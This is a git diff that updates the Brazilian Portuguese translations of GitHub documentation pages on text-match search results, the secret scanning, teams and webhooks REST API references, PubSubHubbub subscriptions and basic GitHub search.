+Para obter esses metadados nos resultados da sua pesquisa, especifique o tipo de mídia de `text-match` no seu cabeçalho `Aceitar`.
 
 ```shell
 application/vnd.github.v3.text-match+json
 ```
 
-When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes
-the following attributes:
+Ao fornecer o tipo de mídia `text-match`, você receberá uma chave extra na carga do JSON denominada `text_matches`, que fornece informações sobre a posição dos seus termos de pesquisa dentro do texto e da `propriedade` que inclui o termo de pesquisa. Dentro do array `text_match`, cada objeto inclui os atributos a seguir:
 
-Name | Description
------|-----------|
-`object_url` | The URL for the resource that contains a string property matching one of the search terms.
-`object_type` | The name for the type of resource that exists at the given `object_url`.
-`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.)
-`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms.
-`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.)
+| Nome          | Descrição                                                                                                                                                                                                                                                                  |
+| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `object_url`  | A URL para o recurso que contém uma propriedade de string que corresponde a um dos termos de pesquisa.                                                                                                                                                                     |
+| `object_type` | O nome para o tipo de recurso que existe em determinado `object_url`.                                                                                                                                                                                                      |
+| `propriedade` | O nome de uma propriedade do recurso que existe em `object_url`. Esta propriedade é uma string que corresponde a um dos termos de pesquisa. (No JSON retornado a partir de `object_url`, o conteúdo completo do `fragmento` será encontrado na propriedade com este nome.) |
+| `fragmento`   | Um subconjunto do valor de `propriedade`. Este é o fragmento de texto que corresponde a um ou mais dos termos de pesquisa.                                                                                                                                                 |
+| `matches`     | Um array de um ou mais termos de pesquisa que estão presentes no `fragmento`. Os índices (ou seja, "ajustes") são relativos ao fragmento. (Eles não são relativos ao conteúdo _completo_ de `propriedade`.)                                                                |
 
-#### Example
+#### Exemplo
 
-Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API
-request would look like this:
+Se usarmos cURL e o [exemplo de pesquisa de problemas](#search-issues-and-pull-requests) acima, nossa solicitação de API seria da seguinte forma:
 
 ``` shell
 curl -H 'Accept: application/vnd.github.v3.text-match+json' \
 '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc'
 ```
 
-The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array.
+A resposta incluirá um array `text_matches` para cada resultado de pesquisa. No JSON abaixo, temos dois objetos no array `text_matches`.
 
-The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence.
+A primeira correspondência de texto ocorreu na propriedade do `texto` do problema. Vemos um fragmento de texto a partir do texto do problema. O termo da pesquisa (`windows`) aparece duas vezes dentro desse fragmento, e temos os índices para cada ocorrência.
 
-The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment.
+A segunda correspondência de texto ocorreu na propriedade do `texto` de um dos comentários do problema. Nós temos a URL do comentário do problema. E, evidentemente, vemos um fragmento de texto do comentário. O termo de pesquisa (`windows`) aparece uma vez dentro desse fragmento.
 
 ```json
 {
diff --git a/translations/pt-BR/content/rest/reference/secret-scanning.md b/translations/pt-BR/content/rest/reference/secret-scanning.md
index 2cb0e7cdf5..37b88c6e0d 100644
--- a/translations/pt-BR/content/rest/reference/secret-scanning.md
+++ b/translations/pt-BR/content/rest/reference/secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Secret scanning
-intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.'
+title: Varredura secreta
+intro: 'Para recuperar e atualizar os alertas secretos de um repositório privado, você pode usar a API de digitalização secreta.'
 versions:
   fpt: '*'
   ghes: '>=3.1'
@@ -17,6 +17,6 @@ The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversi
 - Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below.
 {%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %}
 
-For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)."
+Para obter mais informações sobre {% data variables.product.prodname_secret_scanning %}, consulte "[Sobre {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)."
 
 {% include rest_operations_at_current_path %}
diff --git a/translations/pt-BR/content/rest/reference/teams.md b/translations/pt-BR/content/rest/reference/teams.md
index 2e05e37ba8..025911e294 100644
--- a/translations/pt-BR/content/rest/reference/teams.md
+++ b/translations/pt-BR/content/rest/reference/teams.md
@@ -1,6 +1,6 @@
 ---
-title: Teams
-intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.'
+title: Equipes
+intro: 'Com a API de Equipes, você pode criar e gerenciar equipes na sua organização {% data variables.product.product_name %}.'
 redirect_from:
   - /v3/teams
 versions:
@@ -13,36 +13,36 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %}  generates the team's `slug` from the team `name`.
+Esta API só está disponível para os integrantes autenticados da [organização](/rest/reference/orgs) da equipe. Os tokens de acesso do OAuth exigem o escopo `read:org` [](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %}  gera o `slug` da equipe a partir do `nome` da equipe.
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Discussions
+## Discussões
 
-The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization.
+A API de discussões de equipe permite que você obtenha, crie, edite e exclua postagens de discussão na página de uma equipe. Você pode usar discussões da equipe para ter conversas que não são específicas para um repositório ou projeto. Qualquer integrante da [organização](/rest/reference/orgs) da equipe pode criar e ler posts de discussão públicos. Para obter mais informações, consulte "[Sobre discussões de equipe](//organizations/collaborating-with-your-team/about-team-discussions/)". Para aprender mais sobre comentários em uma publicação de discussão, consulte [a API de comentários de discussão em equipe](/rest/reference/teams#discussion-comments). Esta API só está disponível para os integrantes autenticados da organização da equipe.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Discussion comments
+## Comentários da discussão
 
-The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization.
+A API de comentários de discussão em equipe permite que você obtenha, crie, edite e exclua comentários de discussão em um post de [discussão de equipe](/rest/reference/teams#discussions). Qualquer integrante da organização da [organização](/rest/reference/orgs) da equipe pode criar e ler comentários em uma discussão pública. Para obter mais informações, consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions/)". Esta API só está disponível para os integrantes autenticados da organização da equipe.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Members
+## Integrantes
 
-This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/).
+Esta API só está disponível para os integrantes autenticados da organização da equipe. Os tokens de acesso do OAuth exigem o escopo `read:org` [](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/).
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+**Observação:** Quando você tiver configurado a sincronização da equipe para uma equipe com o provedor de identidade (IdP) da sua organização, você receberá uma mensagem de erro se tentar usar a API para fazer alterações na associação da equipe. Se você tiver acesso para administrar a associação do grupo em seu IdP, você pode administrar a associação da equipe do GitHub através do seu provedor de identidade, que adiciona e remove automaticamente os integrantes da equipe em uma organização. Para obter mais informações, consulte "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Sincronizar equipes entre seu provedor de identidade e o GitHub</a>".
 
 {% endnote %}
 
@@ -57,12 +57,12 @@ This API is only available to authenticated members of the team's organization.
 
 The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization.
 
-To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team.
+Para usar esta API, o usuário autenticado deve ser um mantenedor de equipe ou um proprietário da organização associada à equipe.
 
 {% ifversion ghec %}
 {% note %}
 
-**Notes:** 
+**Notas:**
 
 - The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 - If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)."
@@ -77,15 +77,15 @@ To use this API, the authenticated user must be a team maintainer or an owner of
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Team synchronization
+## Sincronização de equipes
 
-The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">Authorizing a personal access token for use with a SAML single sign-on organization</a>."
+A API de Sincronização da Equipe permite que você gerencie as conexões entre equipes de {% data variables.product.product_name %} e grupos de provedor de identidade externo (IdP). Para usar esta API, o usuário autenticado deve ser um mantenedor de equipe ou um proprietário da organização associada à equipe. O token que você usa para efetuar a autenticação também deverá ser autorizado para uso com o provedor de IdP (SSO). Para obter mais informações, consulte "<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">Autorizando um token de acesso pessoal para uso com uma organização de logon único SAML</a>".
 
-You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+Você pode gerenciar os integrantes da equipe do GitHub através do seu IdP com a sincronização de equipe. A sincronização de equipe deve estar habilitada para usar a API de sincronização de equipe. Para obter mais informações, consulte "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Sincronizar equipes entre seu provedor de identidade e o GitHub</a>".
 
 {% note %}
 
-**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
+**Observação:** A API de sincronização de equipe não pode ser usada com {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
 
 {% endnote %}
 
diff --git a/translations/pt-BR/content/rest/reference/webhooks.md b/translations/pt-BR/content/rest/reference/webhooks.md
index c9908012c1..7a86457037 100644
--- a/translations/pt-BR/content/rest/reference/webhooks.md
+++ b/translations/pt-BR/content/rest/reference/webhooks.md
@@ -1,6 +1,6 @@
 ---
 title: Webhooks
-intro: 'The webhooks API allows you to create and manage webhooks for your repositories.'
+intro: The webhooks API allows you to create and manage webhooks for your repositories.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,50 +12,67 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-Repository webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in a repository. {% data reusables.webhooks.webhooks-rest-api-links %}
+Os webhooks de repositório permitem que você receba cargas de `POST` de HTTP sempre que certos eventos ocorrerem em um repositório. {% data reusables.webhooks.webhooks-rest-api-links %}
 
-If you would like to set up a single webhook to receive events from all of your organization's repositories, see our API documentation for [Organization Webhooks](/rest/reference/orgs#webhooks).
+Se você deseja configurar um único webhook para receber eventos de todos os repositórios da organização, consulte nossa documentação de API para [Webhooks de organização](/rest/reference/orgs#webhooks).
 
-In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories.
+Além da API REST, {% data variables.product.prodname_dotcom %} também pode servir como um núcleo de [PubSubHubbub](#pubsubhubbub) para repositórios.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-### Receiving Webhooks
+## Webhooks do repositório
 
-In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS.
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repos' %}{% include rest_operation %}{% endif %}
+{% endfor %}
 
-#### Webhook headers
+## Repository webhook configuration
 
-{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details.
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-config' %}{% include rest_operation %}{% endif %}
+{% endfor %}
 
-### PubSubHubbub
+## Repository webhook deliveries
 
-GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL.
-Topic URLs for a GitHub repository's pushes are in this format:
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-deliveries' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Receber Webhooks
+
+Para que {% data variables.product.product_name %} envie cargas de webhook, seu servidor deve ser acessível pela internet. É altamente recomendável o uso de SSL para que possamos enviar cargas criptografadas por HTTPS.
+
+### Cabeçalhos de webhook
+
+{% data variables.product.product_name %} enviará ao longo de vários cabeçalhos de HTTP para diferenciar entre tipos de evento e identificadores de carga. Consulte [cabeçalhos de webhook](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) para obter informações.
+
+## PubSubHubbub
+
+O GitHub também pode servir como um centro de [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) para todos os repositórios. O PSHB é um simples protocolo de publicação/assinatura que permite o registro de servidores para receber atualizações quando um tópico é atualizado. As atualizações são enviadas com uma solicitação HTTP do tipo POST para uma URL de chamada de retorno. As URLs dos tópicos dos pushes de um repositório do GitHub estão neste formato:
 
 `https://github.com/{owner}/{repo}/events/{event}`
 
-The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
+O evento pode ser qualquer evento de webhook disponível. Para obter mais informações, consulte "[Eventos e cargas de Webhook](/developers/webhooks-and-events/webhook-events-and-payloads)".
 
-#### Response format
+### Formato de resposta
 
-The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST.  You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension.
+O formato padrão é o que [os hooks post-receive existentes devem esperar](/post-receive-hooks/): Um texto JSON enviado como parâmetro `payload` em um POST.  Você também pode especificar para receber o texto do JSON sem processar com um cabeçalho `Aceitar` ou uma extensão `.json`.
 
     Accept: application/json
     https://github.com/{owner}/{repo}/events/push.json
 
-#### Callback URLs
+### URLs de chamada de retorno
 
-Callback URLs can use the `http://` protocol.
+As URLs de chamada de retorno podem usar o protocolo `http://`.
 
     # Send updates to postbin.org
     http://postbin.org/123
 
-#### Subscribing
+### Assinar
 
-The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like:
+O ponto de extremidade do GitHub PubSubHubbub é: `{% data variables.product.api_url_code %}/hub`. Uma solicitação bem-sucedida com o curl parece como:
 
 ``` shell
 curl -u "user" -i \
@@ -65,13 +82,13 @@ curl -u "user" -i \
   -F "hub.callback=http://postbin.org/123"
 ```
 
-PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request.
+Solicitações do PubSubHubbub podem ser enviadas várias vezes. Se o hook já existe, ele será modificado de acordo com a solicitação.
 
-##### Parameters
+#### Parâmetros
 
-Name | Type | Description
------|------|--------------
-``hub.mode``|`string` | **Required**. Either `subscribe` or `unsubscribe`.
-``hub.topic``|`string` |**Required**.  The URI of the GitHub repository to subscribe to.  The path must be in the format of `/{owner}/{repo}/events/{event}`.
-``hub.callback``|`string` | The URI to receive the updates to the topic.
-``hub.secret``|`string` | A shared secret key that generates a hash signature of the outgoing body content.  You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. You can see [the PubSubHubbub documentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) for more details.
+| Nome           | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `hub.mode`     | `string` | **Obrigatório**. `Assine` ou `cancele a assinatura`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| `hub.topic`    | `string` | **Obrigatório**.  A URI do repositório do GitHub a ser assinada.  O caminho deve estar no formato `/{owner}/{repo}/events/{event}`.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| `hub.callback` | `string` | A URI para receber as atualizações do tópico.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| `hub.secret`   | `string` | Uma chave de segredo compartilhado que gera uma assinatura de hash do conteúdo de saída do texto.  Você pode verificar se um push veio do GitHub comparando o texto da solicitação sem processar com o conteúdo dos cabeçalho do {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` ou `X-Hub-Signature-256` {% elsif ghes < 3.0 %}`X-Hub-Signature` {% elsif ghae %}cabeçalho `X-Hub-Signature-256` {% endif %}. Você pode ver [a documentação do PubSubHubbub](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) para obter mais informações. |
diff --git a/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
index 74e1a19074..4a446a582e 100644
--- a/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
+++ b/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About searching on GitHub
-intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.'
+title: Sobre a pesquisa no GitHub
+intro: 'Use nossas potentes ferramentas de pesquisa para encontrar o que está procurando entre os muitos repositórios, usuários e linhas de código no {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/using-the-command-bar
   - /articles/github-search-basics
@@ -18,73 +18,74 @@ versions:
 topics:
   - GitHub search
 ---
+
 {% data reusables.search.you-can-search-globally %}
 
-- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu.
-- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**.
+- Para pesquisar globalmente em todo o {% data variables.product.product_name %}, digite o que está procurando no campo de pesquisa que fica na parte superior de qualquer página e escolha "All {% data variables.product.prodname_dotcom %}" (Em todo o GitHub) no menu suspenso da pesquisa.
+- Para pesquisar em uma organização ou um repositório específico, navegue até a página da organização ou do repositório, digite o que está procurando no campo de pesquisa que fica na parte superior da página e pressione **Enter**.
 
 {% note %}
 
-**Notes:**
+**Notas:**
 
 {% ifversion fpt or ghes or ghec %}
 - {% data reusables.search.required_login %}{% endif %}
-- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)"
-- Currently our search doesn't support exact matching.
-- Whenever you are searching in code files, only the first two results in each file will be returned.
+- Os sites do {% data variables.product.prodname_pages %} não são pesquisáveis no {% data variables.product.product_name %}. No entanto, você pode pesquisar o conteúdo da fonte, se ele existir no branch padrão de um repositório, usando a pesquisa de código. Para obter mais informações, consulte "[Pesquisar código](/search-github/searching-on-github/searching-code)". Para obter mais informações sobre o {% data variables.product.prodname_pages %}, consulte "[O que é o GitHub Pages?](/articles/what-is-github-pages/)"
+- Atualmente, a nossa pesquisa não é compatível com correspondência exata.
+- Sempre que você estiver pesquisando em arquivos de código, serão retornados apenas os dois primeiros resultados de cada arquivo.
 
 {% endnote %}
 
-After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)."
+Após a realização de uma pesquisa no {% data variables.product.product_name %}, é possível ordenar os resultados ou refiná-los ainda mais clicando em uma das linguagens na barra lateral. Para obter mais informações, consulte "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results)".
 
-{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified.
+A pesquisa do {% data variables.product.product_name %} usa um cluster do ElasticSearch para indexar projetos toda vez que uma alteração é enviada por push ao {% data variables.product.product_name %}. Problemas e pull requests são indexados quando são criados ou modificados.
 
-## Types of searches on {% data variables.product.prodname_dotcom %}
+## Tipos de pesquisa no {% data variables.product.prodname_dotcom %}
 
-You can search for the following information across all repositories you can access on {% data variables.product.product_location %}.
+Você pode pesquisar as seguintes informações em todos os repositórios que você pode acessar em {% data variables.product.product_location %}.
 
-- [Repositories](/search-github/searching-on-github/searching-for-repositories)
-- [Topics](/search-github/searching-on-github/searching-topics)
-- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
-- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %}
-- [Code](/search-github/searching-on-github/searching-code)
+- [Repositórios](/search-github/searching-on-github/searching-for-repositories)
+- [Tópicos](/search-github/searching-on-github/searching-topics)
+- [Problemas e pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
+- [Discussões](/search-github/searching-on-github/searching-discussions){% endif %}
+- [Código](/search-github/searching-on-github/searching-code)
 - [Commits](/search-github/searching-on-github/searching-commits)
-- [Users](/search-github/searching-on-github/searching-users)
+- [Usuários](/search-github/searching-on-github/searching-users)
 - [Packages](/search-github/searching-on-github/searching-for-packages)
 - [Wikis](/search-github/searching-on-github/searching-wikis)
 
-## Searching using a visual interface
+## Pesquisar usando uma interface visual
 
 You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% if command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar.
+A {% data variables.search.advanced_url %} fornece uma interface visual para construção de consultas de pesquisa. Você pode filtrar as pesquisas por diversos fatores, como o número de estrelas ou o número de bifurcações que um repositório tem. À medida que você preenche os campos de pesquisa avançada, sua consulta é automaticamente construída na barra de pesquisa superior.
 
-![Advanced Search](/assets/images/help/search/advanced_search_demo.gif)
+![Pesquisa avançada](/assets/images/help/search/advanced_search_demo.gif)
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment
+## Pesquisando repositórios em {% data variables.product.prodname_dotcom_the_website %} a partir do seu ambiente corporativo privado
 
-If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. For more information, see the following.
+If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. Para obter mais informações, consulte o seguinte.
 
 {% ifversion fpt or ghes or ghec %}
 
 - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}
-- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_managed %} documentation
+- "[Habilitando {% data variables.product.prodname_unified_search %} entre a conta corporativa e {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" na documentação de {% data variables.product.prodname_ghe_managed %}
 
 {% ifversion ghes or ghae %}
 
-To scope your search by environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`.
+Para definir o escopo da pesquisa por ambiente, você pode usar uma opção de filtro na {% data variables.search.advanced_url %} ou pode usar o prefixo de pesquisa `environment:`. Para pesquisar apenas por conteúdo no {% data variables.product.product_name %}, use a sintaxe de pesquisa `environment:local`. Para pesquisar apenas por conteúdo no {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`.
 
-Your enterprise owner on {% data variables.product.product_name %} can enable {% data variables.product.prodname_unified_search %} for all public repositories, all private repositories, or only certain private repositories in the connected {% data variables.product.prodname_ghe_cloud %} organization.
+O proprietário da sua empresa em {% data variables.product.product_name %} pode habilitar {% data variables.product.prodname_unified_search %} para todos os repositórios públicos, todos os repositórios privados ou apenas alguns repositórios privados na organização de {% data variables.product.prodname_ghe_cloud %} conectada.
 
-When you search from {% data variables.product.product_name %}, you can only search in the private repositories that you have access to in the connected {% data variables.product.prodname_dotcom_the_website %} organization. Enterprise owners for {% data variables.product.product_name %} and organization owners on {% data variables.product.prodname_dotcom_the_website %} cannot search private repositories owned by your account on {% data variables.product.prodname_dotcom_the_website %}. To search the applicable private repositories, you must enable private repository search for your personal accounts on {% data variables.product.product_name %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
